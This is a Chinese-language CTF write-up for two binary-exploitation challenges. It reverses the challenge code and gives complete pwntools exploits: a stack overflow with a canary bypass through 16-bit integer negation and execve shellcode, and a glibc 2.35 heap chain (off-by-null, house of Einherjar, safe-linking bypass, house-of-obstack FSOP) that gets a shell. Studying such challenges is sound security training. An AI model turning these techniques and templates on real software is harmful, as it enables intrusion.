week1-adrift
看保护
查看保护,发现栈有可执行权限,猜测跟 ret2shellcode 有关:

逆源码
main
int __fastcall main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // rdx
__int16 v4; // ax
__int16 v6[2]; // [rsp+0h] [rbp-400h] BYREF
__int16 i; // [rsp+4h] [rbp-3FCh]
_QWORD v8[125]; // [rsp+6h] [rbp-3FAh] BYREF
__int64 v9; // [rsp+3F0h] [rbp-10h]
init_canary(argc, argv, envp);
v9 = canary;
putchar(10);
while ( 1 )
{
printf("choose> ");
__isoc99_scanf("%hd", v6);
switch ( v6[0] )
{
case 0:
printf("way> ");
read(0, v8, 0x410uLL);
printf("distance> ");
for ( i = 0; i <= 200 && dis[i]; ++i )
;
v3 = (_QWORD *)((char *)&str + 1304 * i);
*v3 = v8[0];
v3[124] = v8[124];
qmemcpy(
(void *)((unsigned __int64)(v3 + 1) & 0xFFFFFFFFFFFFFFF8LL),
(const void *)((char *)v8 - ((char *)v3 - ((unsigned __int64)(v3 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
8LL * ((((_DWORD)v3 - (((_DWORD)v3 + 8) & 0xFFFFFFF8) + 1000) & 0xFFFFFFF8) >> 3));
memset(v8, 0, sizeof(v8));
__isoc99_scanf("%lu", &dis[i]);
break;
case 1:
delete();
break;
case 2:
show();
break;
case 3:
printf("index> ");
__isoc99_scanf("%hd", v6);
v4 = v6[0];
if ( v6[0] <= 0 )
v4 = -v6[0];
v6[0] = v4;
if ( v4 > 200 )
{
puts("invalid index");
}
else
{
printf("a new distance> ");
__isoc99_scanf("%lu", &dis[v6[0]]);
}
break;
case 4:
if ( v9 != canary )
{
printf("it's a poor decision :(");
exit(0);
}
return 0;
default:
continue;
}
}
}
main 函数设置了一个 canary,checksec 才看不出来。从 canary = (__int64)&v1 可以看出,这个 canary 是全局变量,存放栈上的地址。
init_canary(argc, argv, envp);
v9 = canary;
__int64 *init_canary()
{
__int64 *result; // rax
__int64 v1; // [rsp+8h] [rbp-8h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
v1 = (__int64)&v1;
result = &v1;
canary = (__int64)&v1;
return result;
}
接着在 while 循环里用了个 switch,对应四种功能,首先看 case 0,因为 v8[128] 的空间是 0x3e8,跟 rbp 的距离是 0x3FA,而 read(0, v8, 0x410uLL); 则会导致栈溢出,溢出长度是 0x28,可以覆盖到返回地址 +0x6 的位置。注意 memset(v8, 0, sizeof(v8)); 会清空 v8 的内容。

delete
int delete()
{
__int16 v1; // [rsp+Eh] [rbp-2h]
printf("index> ");
__isoc99_scanf("%hd");
dis[v1 % 201] = 0LL;
return printf("%hd", (unsigned int)(v1 % 201));
}
这里对应 case 1,把 dis 数组对应索引位置清 0。
show
int show()
{
__int64 v0; // rax
__int16 v2; // [rsp+Eh] [rbp-2h] BYREF
printf("index> ");
__isoc99_scanf("%hd", &v2);
LOWORD(v0) = v2;
if ( v2 <= 0 )
LOWORD(v0) = -v2;
v2 = v0;
LODWORD(v0) = (unsigned __int16)v0;
if ( (__int16)v0 <= 199 )
{
v0 = dis[v2];
if ( v0 )
LODWORD(v0) = printf(": %lu\n", dis[v2]);
}
return v0;
}
这个函数用来打印 dis 对应索引的值,要求索引值是正数。但这里存在个问题 LOWORD(v0) = -v2; 首先 %hd 输入的是两个字节,v2 是用补码表示的,-v2 则是将 v2 做取反运算再 +1。
比如说 +5 二进制是 101:
0000 0000 0000 0101(十六进制 0x0005)
对 0x0005:
- 按位取反:
1111 1111 1111 1010(0xFFFA)
- 再 +1:
1111 1111 1111 1011(0xFFFB)
所以:
-5 的 16 位补码 = 1111 1111 1111 1011(0xFFFB)
对 -5 的比特 0xFFFB:
- 按位取反:
0000 0000 0000 0100(0x0004)
- 再 +1:
0000 0000 0000 0101(0x0005)
得到:
这里有个特殊情况:最小负数无法变成正数。
比如 16 位有符号数的最小值是 -32768,它的相反数 32768 超出范围,会溢出,取反 +1 后反而等于自身。
可以看到 canary 在 dis 的低地址方向,差了 0x40000,再除以 8,刚好等于 32768,所以我们可以输入 index 为 -32768 达到数组越界打印 canary,从而泄露栈地址。

case3

case3 同样存在整数溢出的问题,输入 index 为 -32768,就可以修改 canary 值。
case4

检查 canary 值。
思路
- 选择 case2 打印 canary 的值,泄露栈地址。
- 选择 case3 修改 canary 的值,绕过 case4 的检查。
- 选择 case0 的栈溢出写入 shellcode,并将返回地址覆盖为 shellcode 的地址(通过调试计算偏移)。
- 选择 case4 触发 shellcode 执行。
需要注意写入的 shellcode 只能写到返回地址之前,返回地址需要存放 shellcode 的地址,所以 shellcode 最多只能写入 0x1A(0x3FA-0x3E8+0x8)。不过这里为了方便对齐,我直接从 rbp-0x10(注意这里要修改 canary 的值等于 shellcode 的前八个字节,绕过检查)开始写,只写入 0x18 长度的 shellcode。
偏移
把断点打在设置 canary 之后,查看 canary 的值,存着栈地址:

再看 rbp 的值:

计算到 canary 也就是 rbp-0x10 的偏移是 0x408,后面我们泄露出栈地址,加上这个偏移就是 shellcode 的地址了。

EXP
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./vuln')
#io = remote("cloud-middle.hgame.vidar.club",32265)
io.sendlineafter(b"choose> ",b"2")
io.sendlineafter(b"index> ",b"-32768")
io.recvuntil(b": ")
aa = int(io.recvuntil(b"\n",drop=True))
log.success(hex(aa))
shellcode = asm('''
pop r11
mov rax, 0x68732f6e69622f
push rax
push rsp
pop rdi
xor eax, eax
mov al, 59
xor rdx, rdx
syscall
''')# 因为rsp和shellcode挨得很近,两次push会破坏shellcode,所以这里我先pop一次抬高rsp的地址
# rsi在调试的时候发现是0,就不用去赋值了
log.info(len(shellcode))
addr = aa + 0x408
log.success(hex(addr))
payload = b'a'*(0x3e8+2)+shellcode+p64(addr)
io.sendlineafter(b"choose> ",b"3")
io.sendlineafter(b"index> ",b"-32768")
n = int.from_bytes(shellcode[:8], byteorder="little", signed=False)
log.success(hex(n))
io.sendlineafter(b"a new distance> ", str(n).encode())
io.sendlineafter(b"choose> ",b"0")
# gdb.attach(io,'b *$rebase(0x14EE)')
# pause()
io.sendafter(b"way> ",payload)
io.sendlineafter(b"distance> ",b'233')
io.sendlineafter(b"choose> ",b"4")
io.interactive()
week2-diary keeper
patchelf --set-interpreter /home/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/ld-linux-x86-64.so.2 ./vuln
patchelf --replace-needed libc.so.6 /home/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/libc.so.6 ./vuln
safe-linking
在 2.32 版本,ptmalloc 引入了 PROTECT_PTR,即保护指针的概念,其指针是被异或加密的,如果对系统的堆地址一无所知,将无法正确解读泄露的指针的真实值。
tcache_put 当然也引入了这一机制,其 next 指针 (fd) 将会与 entry 首块进行异或加密。

#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
结合两个代码,其实就是 e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx]。
触发这个 PROTECT_PTR 宏,有两种情况:
第一种是当前 free 的堆块是第一个进入 tcache bin 的(此前 tcache bin 中没有堆块),这种情况原本 next 的值就是 0。第二种情况则是原本的 next 值已经有数据了。
如果是第一种情况的话,对于 safe-Linking 机制而言,可能并没有起到预期的作用,因为将当前堆地址右移 12 位和 0 异或,其实值没有改变,如果我们能泄露出这个运算后的结果,再将其左移 12 位就可以反推出来堆地址,如果有了堆地址之后,那我们依然可以篡改 next 指针,达到任意地址申请的效果。
举个栗子:
当前 tcachebins 是空的:

我们 free 一个 size 为 0x100 的 chunk,可以看到这个 chunk 加密后的 next 指针是 0x000000055924f45f。还是看 e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx] 这个代码。
首先 &e->next 就是 next 指针的地址,也就是 0x55924f45fbd0,再就是 tcache -> entries[tc_idx],在我们 free 之前,这个 tcachebin 是空的,所以就是 0 了,也就是变成了 e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx] = (0x55924f45fbd0 >> 12) ^ 0 = 0x55924f45f。这对应第一种情况。


接着我们再 free 一个同样是 size 为 0x100 的 chunk,首先 &e->next 就是 next 指针的地址,也就是 0x55924f45fcd0,再就是 tcache -> entries[tc_idx]。
在我们 free 之前,这个 tcachebin 是有一个 chunk 的,指向的是 0x55924f45fbd0,也就是变成了 e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx] = (0x55924f45fcd0 >> 12) ^ 0x55924f45fbd0 = 0x559716610f8f。


恢复 next 的宏为 #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr),其实这个宏最终还是调用了 PROTECT_PTR,原理就是 A = B ^ C; C = A ^ B。
所以我们要想解密 next 指针,就变成了 e->next = (&tcache -> entries[tc_idx] >> 12) ^ tcache -> entries[tc_idx]。这里的 &tcache -> entries[tc_idx] 其实就是 &e->next。
以第二种情况为例子:
e->next = (&tcache -> entries[tc_idx] >> 12) ^ tcache -> entries[tc_idx] = (0x55924f45fcd0 >> 12) ^ 0x559716610f8f = 0x55924f45fbd0
所以只要我们成功泄露 &e->next 的值或者 heap 基址,就可以通过设置加密的 next 指针为 e->next = ((&e->next) >> 12 ) ^ target_addr,实现申请任意地址的 chunk。
house of Einherjar
原理:利用 off by null 修改掉 chunk 的 size 域的 P 位,绕过 unlink 检查,在堆的后向合并过程中构造出 chunk overlapping。
例子:
申请 chunk A、chunk B、chunk C、chunk D,chunk D 用来做 gap,chunk A、chunk C 都要处于 unsortedbin 范围
释放 A,进入 unsortedbin
对 B 写操作的时候存在 off by null,修改了 C 的 P 位
释放 C 的时候,堆后向合并,直接把 A、B、C 三块内存合并为了一个 chunk,并放到了 unsortedbin 里面
读写合并后的大 chunk 可以操作 chunk B 的内容
house of obstack
参考 https://tttang.com/archive/1845/
模板:
payload = flat(
{
0x8:1,
0x10:0,
0x38:address_for_rdi,
0x28:address_for_call,
0x18:1,
0x20:0,
0x40:1,
0xd0:heap_base + 0x250,
0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20
},
filler = '\x00'
)
查看保护
保护全开。

逆源码
main 函数
还是一个菜单题,共有四种功能,前三种分别对应写、删除、打印日记,最后一种对应退出程序,使用 exit(0) 退出。当执行 exit 函数时会触发 _IO_flush_all_lockp。
__int64 sub_127C()
{
write(1, "1.write a new diary.\n", 0x15uLL);
write(1, "2.delete a diary.\n", 0x13uLL);
write(1, "3.show a diary.\n", 0x11uLL);
write(1, "4.exit.\n", 8uLL);
write(1, "input your choice:", 0x12uLL);
return sub_1229();
}
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-4h]
write(1, "Let's start writing a diary!\n", 0x1DuLL);
memset(&dword_4360, 0, 0x190uLL);
while ( 1 )
{
v3 = sub_127C();
if ( v3 == 4 )
{
write(1, "Goodbye!\n", 9uLL);
exit(0);
}
if ( v3 > 4 )
{
LABEL_12:
write(1, "You can't do that.\n", 0x13uLL);
}
else
{
switch ( v3 )
{
case 3:
sub_15EB();
break;
case 1:
sub_130D();
break;
case 2:
sub_1553();
break;
default:
goto LABEL_12;
}
}
}
}
case 1-写日记
该函数首先需要输入一个小于 0x64 的索引,且需要 unk_4040[index] 为空,unk_4040 用来存放 malloc 返回的用户地址。接着就是输入申请的内存大小 v2,最终申请的内存大小会在 v2 基础上加上 16。申请完后接着就是写入两次八字节分别是 date 和 weather,再写入 v2 个字节为 content 字段。
_DWORD *sub_130D()
{
_DWORD *result; // rax
int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
int v3; // [rsp+Ch] [rbp-4h]
write(1, "input index:", 0xCuLL);
v1 = sub_1229();
if ( (unsigned int)v1 >= 0x64 )
return (_DWORD *)write(1, "Invalid index!\n", 0xFuLL);
if ( *((_QWORD *)&unk_4040 + v1) )
return (_DWORD *)write(1, "Note at index already exists!\n", 0x1EuLL);
write(1, "size:", 5uLL);
v2 = sub_1229();
*((_QWORD *)&unk_4040 + v1) = malloc(v2 + 16);
if ( !*((_QWORD *)&unk_4040 + v1) )
return (_DWORD *)write(1, "Memory allocation failed!\n", 0x1AuLL);
write(1, "date:", 5uLL);
read(0, *((void **)&unk_4040 + v1), 8uLL);
write(1, "weather:", 0x12uLL);
read(0, (void *)(*((_QWORD *)&unk_4040 + v1) + 8LL), 8uLL);
write(1, "content:", 8uLL);
v3 = read(0, (void *)(*((_QWORD *)&unk_4040 + v1) + 16LL), v2);
*(_BYTE *)(*((_QWORD *)&unk_4040 + v1) + v3 + 16) = 0;
result = dword_4360;
dword_4360[v1] = v3 + 16;
return result;
}
需要注意 *(_BYTE *)(*((_QWORD *)&unk_4040 + v1) + v3 + 16) = 0; 这里存在 off by null,可以覆盖高地址 chunk 的 size 最低一个字节为 0x0。
case 2-删除日记
输入小于 0x63 的索引,free 掉对应索引的内存。
int sub_1553()
{
_DWORD *v0; // rax
int v2; // [rsp+Ch] [rbp-4h]
write(1, "input index:", 0xCuLL);
LODWORD(v0) = sub_1229();
v2 = (int)v0;
if ( (unsigned int)v0 <= 0x63 )
{
free(*((void **)&unk_4040 + (int)v0));
*((_QWORD *)&unk_4040 + v2) = 0LL;
v0 = dword_4360;
dword_4360[v2] = 0;
}
return (int)v0;
}
case 3-打印日记
同样根据索引分别打印 Date,Weather 和 Content 的内容。
int sub_15EB()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h]
write(1, "input index:", 0xCuLL);
LODWORD(v0) = sub_1229();
v2 = v0;
if ( (unsigned int)v0 <= 0x63 )
{
v0 = *((_QWORD *)&unk_4040 + (int)v0);
if ( v0 )
{
write(1, "Date: ", 6uLL);
write(1, *((const void **)&unk_4040 + v2), 8uLL);
write(1, "\n", 1uLL);
write(1, "Weather: ", 9uLL);
write(1, (const void *)(*((_QWORD *)&unk_4040 + v2) + 8LL), 8uLL);
write(1, "\n", 1uLL);
write(1, "Content: ", 9uLL);
write(1, (const void *)(*((_QWORD *)&unk_4040 + v2) + 16LL), dword_4360[v2] - 16);
LODWORD(v0) = write(1, "\n", 1uLL);
}
}
return v0;
}
思路
泄露 libc 基址和 heap 基址:首先申请四个 chunk,记 A,B,C,D,A 和 C 分别属于 large bin 的范围(B 是为了防止在 free 时 A 和 C 合并,D 则是防止 C 和 top chunk 合并),接着 free chunkA 和 chunkC,此时 unsorted bin -> chunkC -> chunkA -> unsorted bin。因此 chunkA 的 fd 指针指向 main_arena+0x60,bk 指针指向 chunkC 的首地址,只要我们重新申请回 chunkA,接着利用打印功能打印 Date 和 Weather,就可以泄露 libc 基址和 heap 基址。
house of Einherjar:首先申请 9 个 size 为 0x100 的 chunk,记为 chunk1,chunk2。。。chunk9。chunk7 在申请的时候要先写入 fake chunk,依次 free chunk1-chunk6,chunk8,此时 tcache bin 满了,再申请 chunk8 并利用 off by null 覆写 chunk9 的 size 的 P 位,接着 free chunk8,此时 tcache 已满,再 free chunk9,触发 unlink,会把 chunk7,chunk8,chunk9 合并为一个大 chunk 放入 unsortedbin 中。
tcache poisoning:此时 unsortedbin 中存在 chunk7,chunk8,chunk9 合并成的一个大 chunk,记为 big chunk,而 chunk8 位于 tcache bin 中,我们可以申请回 big chunk,覆写 chunk8 的 next 指针指向 (&e->next >> 12) ^ _IO_list_all(为了绕过 safe linking),接着申请两次 size 为 0x100 的 chunk,会从 tcache 里取,第二次就申请到了 _IO_list_all,覆盖该值为一个堆地址,这里覆盖为 chunkC+0x20 的地址。
house of obstack:接着就是 free chunkC,重新申请 chunkC 写入伪造的 IO_file 结构,按 obstack 利用链的模板。最后退出程序触发 _IO_flush_all_lockp 获取 shell。
本地调试
def add(index,size,date,weather,content):
io.sendlineafter("input your choice:",b'1')
io.sendlineafter("input index:",str(index).encode())
io.sendlineafter("size:",str(size).encode())
io.sendlineafter("date",date)
io.sendlineafter("weather:",weather)
io.sendlineafter("content:",content)
def dele(index):
io.sendlineafter("input your choice:",b'2')
io.sendlineafter("input index:",str(index).encode())
def show(index):
io.sendlineafter("input your choice:",b'3')
io.sendlineafter("input index:",str(index).encode())
先写一下程序交互:
add(0,0x410,b'',b'',b'') # chunkA
add(1,0x40,b'',b'',b'') # chunkB,防止A和C合并
add(2,0x420,b'',b'',b'') # chunkC
add(3,0x40,b'',b'',b'') # chunkD,防止C和top chunk合并
dele(0)
dele(2) # 此时unsorted bin为unsorted bin -> chunkC -> chunkA
申请四个 chunk 并 free chunkA 和 chunkC,此时 unsorted bin 为 unsorted bin -> chunkC -> chunkA -> unsorted bin。

vmmap 看一下 libc 基址和 heap 基址,算出偏移分别是 0x21ace0 和 0x720。

add(0,0x410,b'',b'',b'')
show(0) #申请回chunkA并打印地址信息
io.recvuntil(b"Date: ")
libc_base = u64(io.recv(6).ljust(8,b"\x00")) - 0x21ac0a # 泄露libc基址
log.success(hex(libc_base))
io.recvuntil(b"Weather: ")
heap_base = u64(io.recv(6).ljust(8,b"\x00")) - 0x70a # 泄露heap基址
log.success(hex(heap_base))
接着申请回 chunkA 并打印信息。
需要注意的是,再申请回 chunkA 的过程中,需要往内存里写东西,为了不破坏地址信息,这里只写入了换行符,所以 libc 和 heap 偏移分别要改成 0x21ac0a 和 0x70a。

add(2,0x420,b'',b'',b'') # 申请回chunkC,防止被split
这里把 chunkC 申请回来,因为后面要申请 0x100 大小的 chunk,会 split,比较麻烦。
# 申请六个chunk,分别记为chunk1,chunk2。。chunk6
for i in range(6):
add(4+i,0xe0,b'',b'',b'')
'''
伪造fake chunk,heap_base + 0x11e0是chunk7首地址+0x20的地址
p64(heap_base + 0x11e0)*2是为了绕过
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list");
'''
payload1 = p64(0) + p64(0x1e0) + p64(heap_base + 0x11e0)*2
add(10,0xe0,b'',b'',payload1) # 申请chunk7
add(11,0xe0,b'',b'',b'')# 申请chunk8
add(12,0xe0,b'',b'',b'')# 申请chunk9
这里申请了 9 次 chunk,chunk7 要设置 fake chunk 绕过 unlink 检查。

for i in range(6):#依次free chunk1-chunk6,会放入tcache bin
dele(4+i)
dele(11) # free chunk8,此时tcachebin满了
此时 tcachebin 满了:

payload2 = b'a'*0xe0 + p64(0x1e0)
# 重新申请回chunk8,写prev_size,利用off by null覆写chunk9的P位
# 因为off by null是写一个字节,所以chunk的size最好是0x100这种最后一个字节为0x00的,不然会报错,所以我之前申请的都是malloc(0xe0+16)
add(11,0xe8,b'',b'',payload2)
add(13,0x40,b'',b'',payload2)# 防止big chunk和top chunk合并,方便观察,其实和top chunk合并也可以
dele(11) # free chunk8,此时tcachebin又满了
dele(12)# free chunk9,触发unlink,把chunk7,8,9合并成一个big chunk存入unsorted bin
chunk9 修改前:

chunk9 修改后,可以看到 P 被改为 0,设置了 prev_size。

unlink 时,这里 prev_size 的设置是为了绕过 __builtin_expect(chunksize(P)!=prev_size(next_chunk(P)),0)。

big chunk 放入了 unsortedbin 中,size 为 0x2e0,因为不是同一次调试,地址不一样了,凑合着看吧。

system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
IO_list_all = libc_base + libc.symbols['_IO_list_all']
io_list = (heap_base + 0x12d0) >> 12 ^ IO_list_all # 覆盖next指针用的,为了绕过safe-linking
_IO_obstack_jumps = libc_base + 0x2173c0
payload3 = b'a'*0xc8 + p64(0x101) + p64(io_list)
add(14,0x2c0,b'',b'',payload3)# 申请回big chunk,覆写chunk8的next指针
add(15,0xe0,b'',b'',b'')# 申请chunk8
add(16,0xe0,p64(heap_base+0x740),b'',b'')# 申请我们指向的IO_list_all,这里heap_base+0x740写的是chunkC+0x20的地址
看回 chunk7,根据 safe-linking 的代码 e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx],&e->next 就是 0x5612b4e3d2d0,tcache -> entries[tc_idx] 就是之前 tcachebin 长度为 6 的情况,是 0x5612b4e3d0d0,计算结果为 0x5617d5c89eed。我们之前泄露了 heap 基址,计算得到 &e->next 偏移是 0x12d0,我们只需要伪造 target_addr 为 &_IO_list_all 即可。
hex((0x5612b4e3d2d0>>12)^0x5612b4e3d0d0)
'0x5617d5c89eed'

覆写 next 指针后,申请回 chunk8,下一个就是 _IO_list_all 了。

接着就是申请这个 _IO_list_all,然后改为 chunkC+0x20 的地址,偏移是 0x740,因为我们后面写入的 IO_file 结构是在 content 字段,prev_size,size,Date,weather 刚好是 0x20。
dele(2)# free chunkC
payload4 = flat(
{
0x18:1,
0x20:0,
0x28:1,
0x30:0,
0x38:p64(system),
0x48:p64(bin_sh),
0x50:1,
0xd8:p64(_IO_obstack_jumps+0x20),
0xe0:p64(heap_base + 0x740),
},
filler = '\x00'
)
#申请回chunkC并伪造IO_file
add(2,0x420,b'',b'',payload4)
#退出程序触发利用链
io.sendlineafter("input your choice:",b'4')
io.interactive()
释放并申请 chunkC,伪造 IO_file,照着模板抄就行了,最后退出程序获取 shell。

EXP
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
io=process("./vuln")
libc = ELF("./libc.so.6")
def add(index,size,date,weather,content):
io.sendlineafter("input your choice:",b'1')
io.sendlineafter("input index:",str(index).encode())
io.sendlineafter("size:",str(size).encode())
io.sendlineafter("date",date)
io.sendlineafter("weather:",weather)
io.sendlineafter("content:",content)
def dele(index):
io.sendlineafter("input your choice:",b'2')
io.sendlineafter("input index:",str(index).encode())
def show(index):
io.sendlineafter("input your choice:",b'3')
io.sendlineafter("input index:",str(index).encode())
# ------------------泄露libc基址和heap基址----------------------------
add(0,0x410,b'',b'',b'') # chunkA
add(1,0x40,b'',b'',b'') # chunkB,防止A和C合并
add(2,0x420,b'',b'',b'') # chunkC
add(3,0x40,b'',b'',b'') # chunkD,防止C和top chunk合并
dele(0)
dele(2) # 此时unsorted bin为unsorted bin -> chunkC -> chunkA
gdb.attach(io,"b *$rebase(0x17D4)")
add(0,0x410,b'',b'',b'')
show(0) #申请回chunkA并打印地址信息
io.recvuntil(b"Date: ")
libc_base = u64(io.recv(6).ljust(8,b"\x00")) - 0x21ac0a # 泄露libc基址
log.success(hex(libc_base))
io.recvuntil(b"Weather: ")
heap_base = u64(io.recv(6).ljust(8,b"\x00")) - 0x70a # 泄露heap基址
log.success(hex(heap_base))
add(2,0x420,b'',b'',b'') # 申请回chunkC,防止被split
# ------------------house of Einherjar和tcache poisoning----------------------------
# 申请六个chunk,分别记为chunk1,chunk2。。chunk6
for i in range(6):
add(4+i,0xe0,b'',b'',b'')
'''
伪造fake chunk,heap_base + 0x11e0是chunk7首地址+0x20的地址
p64(heap_base + 0x11e0)*2是为了绕过
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list");
'''
payload1 = p64(0) + p64(0x1e0) + p64(heap_base + 0x11e0)*2
add(10,0xe0,b'',b'',payload1) # 申请chunk7
add(11,0xe0,b'',b'',b'')# 申请chunk8
add(12,0xe0,b'',b'',b'')# 申请chunk9
for i in range(6):#依次free chunk1-chunk6,会放入tcache bin
dele(4+i)
dele(11) # free chunk8,此时tcachebin满了
payload2 = b'a'*0xe0 + p64(0x1e0)
# 重新申请回chunk8,写prev_size,利用off by null覆写chunk9的P位
# 因为off by null是写一个字节,所以chunk的size最好是0x100这种最后一个字节为0x00的,不然会报错,所以我之前申请的都是malloc(0xe0+16)
add(11,0xe8,b'',b'',payload2)
dele(11) # free chunk8,此时tcachebin又满了
dele(12)# free chunk9,触发unlink,把chunk7,8,9合并成一个big chunk存入unsorted bin
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
IO_list_all = libc_base + libc.symbols['_IO_list_all']
io_list = (heap_base + 0x12d0) >> 12 ^ IO_list_all # 覆盖next指针用的,为了绕过safe-linking
_IO_obstack_jumps = libc_base + 0x2173c0
payload3 = b'a'*0xc8 + p64(0x101) + p64(io_list)
add(13,0x2c0,b'',b'',payload3)# 申请回big chunk,覆写chunk8的next指针
add(14,0xe0,b'',b'',b'')# 申请chunk8
# -------------------------house of obstack------------------------------
add(15,0xe0,p64(heap_base+0x740),b'',b'')# 申请我们指向的IO_list_all,这里heap_base+0x740写的是chunkC+0x20的地址
dele(2)# free chunkC
payload4 = flat(
{
0x18:1,
0x20:0,
0x28:1,
0x30:0,
0x38:p64(system),
0x48:p64(bin_sh),
0x50:1,
0xd8:p64(_IO_obstack_jumps+0x20),
0xe0:p64(heap_base + 0x740),
},
filler = '\x00'
)
#申请回chunkC并伪造IO_file
add(2,0x420,b'',b'',payload4)
#退出程序触发利用链
io.sendlineafter("input your choice:",b'4')
io.interactive()
参考链接
浅析 tcache 安全机制演进过程与绕过手法
https://bbs.kanxue.com/thread-284325.htm
Safe-Linking 机制的绕过
https://zikh26.github.io/posts/501cca6.html
浅析 libc2.38 版本及以前 tcache 安全机制演进过程与绕过手法
https://zhuanlan.zhihu.com/p/12296343522
一条新的 glibc IO_FILE 利用链:_IO_obstack_jumps 利用分析
https://tttang.com/archive/1845/
HGAME2026_Writeup
https://github.com/vidar-team/HGAME2026_Writeup
本文由社区用户 G0t1T 分享,更多技术文章和讨论,欢迎访问 云栈社区 进行交流。